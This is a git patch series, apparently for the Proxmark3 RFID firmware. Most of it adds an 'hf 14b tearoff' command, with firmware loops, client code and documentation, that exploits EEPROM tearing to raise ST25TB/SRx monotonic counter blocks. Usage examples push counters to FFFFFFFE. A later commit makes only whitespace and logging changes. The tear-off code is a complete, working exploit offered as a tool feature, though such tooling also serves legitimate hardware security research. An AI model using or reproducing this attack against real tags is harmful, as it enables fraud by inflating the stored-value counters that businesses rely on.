+static int tearoff_rand(void) { + s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345; + return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768; +} + +// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated). +// This is MUCH faster than full iso14443b_setup() since it skips: +// - FpgaDownloadAndGo (bitstream already cached) +// - BigBuf_free + BigBuf_calloc (demod buffers persist) +// - 100ms field stabilization (tag only needs ~20ms to power up) +static void tearoff_field_on(void) { + // Re-enable reader mode + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); +#ifdef RDV4 + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); +#else + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); +#endif + // Brief field stabilization — tag needs ~5-15ms to power on from RF + SpinDelay(20); + Demod14bReset(); + Uart14bReset(); + StartCountSspClk(); + iso14b_set_fwt(8); + s_field_on = true; +} + +static void tearoff_field_off(void) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); +} + +static void tearoff_exit(void) { + g_tearoff_enabled = false; + g_tearoff_delay_us = 0; + // Force a full FPGA bitstream reload on the next HF command. + // After hundreds of rapid field on/off cycles, the FPGA's internal + // state machine (SSC/DMA) can become corrupted even though its bitstream + // is technically loaded. Invalidating the cache forces FpgaDownloadAndGo() + // to do a complete re-initialization next time. + FpgaResetBitstream(); + switch_off(); + SpinDelay(20); + BigBuf_free_keep_EM(); + s_field_on = false; +} + +// Read a single ST25TB/SRx block with lightweight field cycle +static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { + int res; + iso14b_card_select_t card; + + tearoff_field_on(); + + res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return res; + } + + uint8_t block[ISO14B_BLOCK_SIZE]; + res = read_14b_srx_block(block_address, block); + if (res == PM3_SUCCESS) { + *block_value = (uint32_t)block[0] | + ((uint32_t)block[1] << 8) | + ((uint32_t)block[2] << 16) | + ((uint32_t)block[3] << 24); + } + + tearoff_field_off(); + return res; +} + +// Low-level write command (no response expected for SRx write) +static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) { + uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00}; + AddCrc14B(cmd, 6); + + uint32_t start_time = 0; + uint32_t eof_time = 0; + CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true); + return PM3_SUCCESS; +} + +// Write a block then cut RF at precise timing for tear-off effect +static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) { + + uint8_t block[ISO14B_BLOCK_SIZE]; + block[0] = (data & 0xFF); + block[1] = (data >> 8) & 0xFF; + block[2] = (data >> 16) & 0xFF; + block[3] = (data >> 24) & 0xFF; + + tearoff_field_on(); + + iso14b_card_select_t card; + int res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return; + } + + g_tearoff_enabled = true; + g_tearoff_delay_us = tearoff_delay_us; + + tearoff_cmd_write_block(block_address, block); + + if (tearoff_hook() == PM3_ETEAROFF) { + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); + } else { + // Fallback if hook didn't trigger for some reason + tearoff_field_off(); + } +} + +// Write then verify with retries +static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value, + uint32_t max_try_count, int sleep_time_ms, + uint32_t *read_back_value) { + uint32_t i = 0; + *read_back_value = ~target_value; + + while (*read_back_value != target_value && i < max_try_count) { + tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + tearoff_read_block(block_address, read_back_value); + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + i++; + } + + return (*read_back_value == target_value) ? 0 : -1; +} + +// Check if a value is stable (consolidated) across multiple reads +static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value, + int repeat_read, int sleep_time_ms, + uint32_t *read_value) { + int result; + for (int i = 0; i < repeat_read; i++) { + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + result = tearoff_read_block(block_address, read_value); + if (result != 0 || value != *read_value) { + return -1; + } + } + return 0; +} + +// Consolidate a block to a stable state with decrement writes +static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value, + uint32_t target_value, uint32_t *read_back_value) { + int8_t result; + uint32_t consolidation_value; + + if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) { + consolidation_value = target_value + 2; + } else { + consolidation_value = current_value; + } + + result = tearoff_retry_write_verify(block_address, consolidation_value - 1, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1); + return -1; + } + + if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) { + result = tearoff_retry_write_verify(block_address, consolidation_value - 2, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2); + return -1; + } + } + + if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_READS, 0, read_back_value); + if (result == 0) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_WAIT_RD, + TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed stability check (long wait)"); + return -1; + } + } else { + Dbprintf("Consolidation failed stability check (short wait)"); + return -1; + } + } + + return 0; +} + +// Calculate next value to attempt for tear-off write +static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) { + uint32_t value = 0; + int8_t index = 31; + + if (current_value < 0x0000FFFF) { + return (current_value > 0) ? current_value - 1 : 0; + } + + while (index >= 0) { + if (value == 0 && IS_ONE_BIT_T(current_value, index)) { + value = 0xFFFFFFFF >> (31 - index); + index--; + } + + if (value != 0 && IS_ZERO_BIT_T(current_value, index)) { + index++; + value &= ~((uint32_t)1 << index); + + if (randomness && value < 0xF0000000 && index > 1) { + value ^= ((uint32_t)1 << (tearoff_rand() % index)); + } + return value; + } + + index--; + } + + return (current_value > 0) ? current_value - 1 : 0; +} + +// Adjust tear-off timing +static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) { + *tear_off_us -= tear_off_adjustment_us; + if (*tear_off_us < TEAROFF_MIN_DELAY_US) { + *tear_off_us = TEAROFF_MIN_DELAY_US; + } +} + +// Log tear-off attempt with binary representation +static void tearoff_log(int tear_off_us, const char *color, uint32_t value) { + char bin[33]; + for (int i = 31; i >= 0; i--) { + bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0'; + } + bin[32] = '\0'; + Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us); +} + +// Payload structure for tear-off command +typedef struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; +} PACKED st25tb_tearoff_params_t; + +// Main ST25TB tear-off function, called from appmain.c +void ST25TB_TearOff(const uint8_t *data) { + const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data; + + uint8_t block_address = params->block_address; + uint32_t target_value = params->target_value; + uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us; + uint32_t safety_value = params->safety_value; + uint32_t start_time_us = params->start_time_us; + + int result; + bool trigger = true; + + uint32_t read_value = 0; + uint32_t current_value = 0; + uint32_t last_consolidated_value = 0; + uint32_t tear_off_value = 0; + + // Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window) + int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; + if (tear_off_adjustment_us == 0) { + tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF; + } + + // One-time full setup: loads FPGA bitstream, allocates demod buffers, + // configures ADC mux and SSC. All subsequent field cycles use the + // lightweight tearoff_field_on/off which skip the heavy initialization. + iso14443b_setup(); + set_tracing(true); + tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on + + // Initial read + result = tearoff_read_block(block_address, ¤t_value); + if (result != PM3_SUCCESS) { + Dbprintf("Initial read failed for block %d", block_address); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + tear_off_value = tearoff_next_value(current_value, false); + + Dbprintf(""); + Dbprintf(_CYAN_("ST25TB Tear-off counter attack")); + Dbprintf("------------------------------"); + Dbprintf(" Target block: %d", block_address); + Dbprintf("Current value: 0x%08X", current_value); + Dbprintf(" Target value: 0x%08X", target_value); + Dbprintf(" Safety value: 0x%08X", safety_value); + Dbprintf("Adjustment us: %u", tear_off_adjustment_us); + Dbprintf(""); + + if (current_value == target_value) { + Dbprintf(_GREEN_("Current value already matches target.")); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + if (tear_off_value == 0 && current_value != 0) { + Dbprintf("Tear-off technique not possible from current value."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + // Main tear-off loop + uint32_t loop_count = 0; + int consecutive_read_fails = 0; + + for (;;) { + WDT_HIT(); + loop_count++; + + // Send WTX keepalive every ~500 iterations to prevent USB timeout + // Each iteration takes ~1-10ms (select + write + read), so this + // fires roughly every 1-5 seconds. We request 10s extension each time. + if ((loop_count % 500) == 0) { + send_wtx(10000); + } + + // Check for user abort (button press or USB data) + if (BUTTON_PRESS() || data_available()) { + Dbprintf("Tear-off stopped by user."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Safety check + if (tear_off_value < safety_value) { + Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)", + tear_off_value, safety_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Perform tear-off write attempt + tearoff_write_block(block_address, tear_off_value, tear_off_us); + + // Read back + result = tearoff_read_block(block_address, &read_value); + if (result != 0) { + consecutive_read_fails++; + if (consecutive_read_fails > 10) { + Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + tear_off_us++; + continue; // Retry if read fails + } + consecutive_read_fails = 0; + + // Analyze result + if (read_value > current_value) { + // Partial write success (tear-off glitch worked) + if (read_value >= 0xFFFFFFFE || + (read_value - 2) > target_value || + read_value != last_consolidated_value || + ((read_value & 0xF0000000) > (current_value & 0xF0000000))) { + + result = tearoff_consolidate_block(block_address, read_value, + target_value, ¤t_value); + if (result == 0 && current_value == target_value) { + tearoff_log(tear_off_us, "\033[32m", read_value); + Dbprintf(""); + Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + if (read_value != last_consolidated_value) { + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + } + last_consolidated_value = read_value; + tear_off_value = tearoff_next_value(current_value, false); + trigger = true; + tearoff_log(tear_off_us, "\033[32m", read_value); + } + } else if (read_value == tear_off_value) { + // Full write went through (no tear-off effect) + if (trigger) { + tear_off_value = tearoff_next_value(tear_off_value, true); + trigger = false; + } else { + tear_off_value = tearoff_next_value(read_value, false); + trigger = true; + } + current_value = read_value; + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + tearoff_log(tear_off_us, "\033[34m", read_value); + } else if (read_value < tear_off_value) { + // Partial write but went lower + tear_off_value = tearoff_next_value(read_value, false); + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + current_value = read_value; + trigger = true; + tearoff_log(tear_off_us, "\033[31m", read_value); + } + + // Increment timing for next attempt + tear_off_us++; + } +} + + void SendRawCommand14443B(iso14b_raw_cmd_t *p) { // turn on trigger (LED_A) diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index c8b8629c1..0e509d000 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block); int iso14443b_select_srx_card(iso14b_card_select_t *card); void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); +void ST25TB_TearOff(const uint8_t *data); void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing); // 14b config diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 37ecb2297..b605f5c7d 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14BSriTearoff(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14b tearoff", + "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n" + "This exploits EEPROM tearing to increment counters that normally can only\n" + "be decremented. Based on the near-field-chaos project by SecLabz.\n" + "\n" + "The attack works by sending a write command and cutting the RF field at\n" + "a precise moment, causing a partial write that can raise the counter value.\n" + "The operation usually takes a few seconds to a few minutes.\n" + "\n" + " NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n" + " Keep the tag positioned steadily on the antenna.\n", + "hf 14b tearoff -b 5 -d FFFFFFFE\n" + "hf 14b tearoff -b 6 -d FFFFFFFE\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int1("b", "block", "", "block number (typically 5 or 6 for ST25TB counters)"), + arg_str1("d", "data", "", "target counter value (4 hex bytes, e.g. FFFFFFFE)"), + arg_int0(NULL, "adj", "", "tear-off timing step in us (default: 25)"), + arg_int0(NULL, "safety", "", "safety threshold value (default: 0x1000)"), + arg_int0(NULL, "start", "", "initial tear-off delay in us (default: 150)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int blockno = arg_get_int_def(ctx, 1, -1); + + int dlen = 0; + uint8_t data[4] = {0}; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int adj = arg_get_int_def(ctx, 3, 0); + int safety = arg_get_int_def(ctx, 4, 0x1000); + int start = arg_get_int_def(ctx, 5, 0); + CLIParserFree(ctx); + + if (dlen != 4) { + PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen); + return PM3_EINVARG; + } + + if (blockno < 0 || blockno > 255) { + PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno); + return PM3_EINVARG; + } + + // Convert data bytes to uint32_t (little-endian as per ST25TB convention) + uint32_t target_value = (uint32_t)data[0] << 24 | + (uint32_t)data[1] << 16 | + (uint32_t)data[2] << 8 | + (uint32_t)data[3]; + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------"); + PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno); + PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value); + PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150); + PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25); + PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety); + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort"); + PrintAndLogEx(INFO, ""); + + // Build payload (must match st25tb_tearoff_params_t on ARM side) + struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; + } PACKED payload; + + payload.block_address = (uint8_t)blockno; + payload.target_value = target_value; + payload.tear_off_adjustment_us = (uint32_t)adj; + payload.safety_value = (uint32_t)safety; + payload.start_time_us = (uint32_t)start; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload)); + + // Wait for response with generous timeout. + // The ARM side sends periodic CMD_WTX keepalive packets to extend + // the timeout, so the attack can run as long as needed. + // Use -1 for infinite wait (extended via WTX), abort with Enter key. + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) { + PrintAndLogEx(WARNING, "command failed or connection lost"); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful")); + PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value); + } else if (resp.status == PM3_EOPABORTED) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user")); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } else { + PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed")); + if (resp.length >= sizeof(uint32_t)) { + uint32_t final_value = 0; + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } + } + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno); + return PM3_SUCCESS; +} + static int CmdHF14BSetUID(const char *Cmd) { CLIParserContext *ctx; @@ -3288,6 +3417,7 @@ static command_t CommandTable[] = { {"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"}, {"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"}, {"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"}, + {"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"}, {"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"}, {"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"}, {"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"}, diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 211b3efc8..788eefe16 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14b sim" }, { 0, "hf 14b sniff" }, { 0, "hf 14b wrbl" }, + { 0, "hf 14b tearoff" }, { 1, "hf 14b view" }, { 1, "hf 14b valid" }, { 0, "hf 14b calypso" }, diff --git a/doc/commands.json b/doc/commands.json index d076de051..8447d899b 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1680,6 +1680,26 @@ ], "usage": "hf 14b sniff [-h]" }, + "hf 14b tearoff": { + "command": "hf 14b tearoff", + "description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.", + "notes": [ + "hf 14b tearoff -b 5 -d FFFFFFFE", + "hf 14b tearoff -b 6 -d FFFFFFFE", + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50", + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-b, --block block number (typically 5 or 6 for ST25TB counters)", + "-d, --data target counter value (4 hex bytes, e.g. FFFFFFFE)", + "--adj tear-off timing step in us (default: 25)", + "--safety safety threshold value (default: 0x1000)", + "--start initial tear-off delay in us (default: 150)" + ], + "usage": "hf 14b tearoff [-h] -b -d [--adj ] [--safety ] [--start ]" + }, "hf 14b valid": { "command": "hf 14b valid", "description": "SRIX checksum test", diff --git a/doc/commands.md b/doc/commands.md index dd90a58ae..58e8ecf03 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -228,6 +228,7 @@ Check column "offline" for their availability. |`hf 14b sim `|N |`Fake ISO ISO-14443-B tag` |`hf 14b sniff `|N |`Eavesdrop ISO-14443-B` |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` +|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks` |`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b calypso `|N |`Read contents of a Calypso card` diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ca02840cc..37b881be4 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -775,6 +775,7 @@ typedef struct { #define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0 #define CMD_HF_ISO14443B_GET_CONFIG 0x03D1 #define CMD_HF_ISO14443B_SET_CONFIG 0x03D2 +#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400 From 52676ebbd468d82a9e3926103af3b124bd146f69 Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:07:43 +0100 Subject: [PATCH 086/162] style: whitespace fixes --- armsrc/appmain.c | 6 +- armsrc/iclass.c | 10 +- client/src/cmdhfaliro.c | 30 +++--- client/src/cmdhffelica.c | 38 ++++---- client/src/cmdhficlass.c | 12 +-- client/src/pm3line_vocabulary.h | 7 +- doc/commands.json | 161 ++++++++++++++++++++++++++++---- doc/commands.md | 17 +++- 8 files changed, 213 insertions(+), 68 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 43c3e68ea..0f9832fb5 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -101,19 +101,19 @@ uint8_t g_tearoff_skip = 0; int tearoff_hook(void) { if (g_tearoff_enabled) { if (g_tearoff_delay_us == 0) { - Dbprintf(_RED_("No tear-off delay configured!")); + if (g_dbglevel >= DBG_ERROR) Dbprintf(_RED_("No tear-off delay configured!")); g_tearoff_enabled = false; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } if (g_tearoff_skip > 0) { - Dbprintf(_GREEN_("Tear-off skipped!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_GREEN_("Tear-off skipped!")); g_tearoff_skip--; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } SpinDelayUsPrecision(g_tearoff_delay_us); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); g_tearoff_enabled = false; - if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_YELLOW_("Tear-off triggered!")); return PM3_ETEAROFF; } else { return PM3_SUCCESS; // SUCCESS = the hook didn't do anything diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 32f05791c..423742e70 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2746,7 +2746,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint32_t start_time = 0; uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[0] = 0x80 | ICLASS_CMD_READCHECK; //still block 24 but with debit key } @@ -2799,7 +2799,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[1] = hdr.conf.app_limit - 1; //last block of AA1 } //Step1 Authenticate with AA1 using trace @@ -2928,7 +2928,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { blockno = 4; } wb[0] = blockno; @@ -3080,8 +3080,8 @@ fast_restore: uint8_t mac2[4] = {0}; uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ - blockno = 4; + if (msg->credit_recovery == true) { + blockno = 4; } wb[0] = blockno; bool reverted = false; diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index b00a9f350..ca779fce7 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -1577,11 +1577,11 @@ static int aliro_read_do_auth0(aliro_read_state_t *state, uint8_t auth0_data[ALIRO_MAX_BUFFER] = {0}; size_t auth0_data_len = 0; if (aliro_append_tlv(0x41, &state->auth0_command_parameters, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x42, (const uint8_t[]){ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { + aliro_append_tlv(0x42, (const uint8_t[]) {ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH0 command"); return PM3_ESOFT; } @@ -1787,10 +1787,10 @@ static int aliro_read_do_auth1(aliro_read_state_t *state, uint8_t auth1_data[ALIRO_MAX_BUFFER] = {0}; size_t auth1_data_len = 0; - if (aliro_append_tlv(0x41, (const uint8_t[]){ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x9E, auth1_signature, 64, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { + if (aliro_append_tlv(0x41, (const uint8_t[]) {ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, +auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x9E, auth1_signature, 64, + auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH1 command"); return PM3_ESOFT; } @@ -2041,7 +2041,7 @@ static int aliro_parse_step_up_scopes(struct arg_str *scope_arg, aliro_step_up_s char *saveptr = NULL; char *token = strtok_r(scope_str, ",", &saveptr); while (token != NULL) { - while (isspace((unsigned char)*token)) { + while (isspace((unsigned char) * token)) { token++; } @@ -3539,11 +3539,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l aliro_read_print_auth1_report(&state); have_fast_suggestion_cmd = aliro_read_build_fast_suggestion_command(&state, - reader_group_identifier, - reader_group_sub_identifier, - 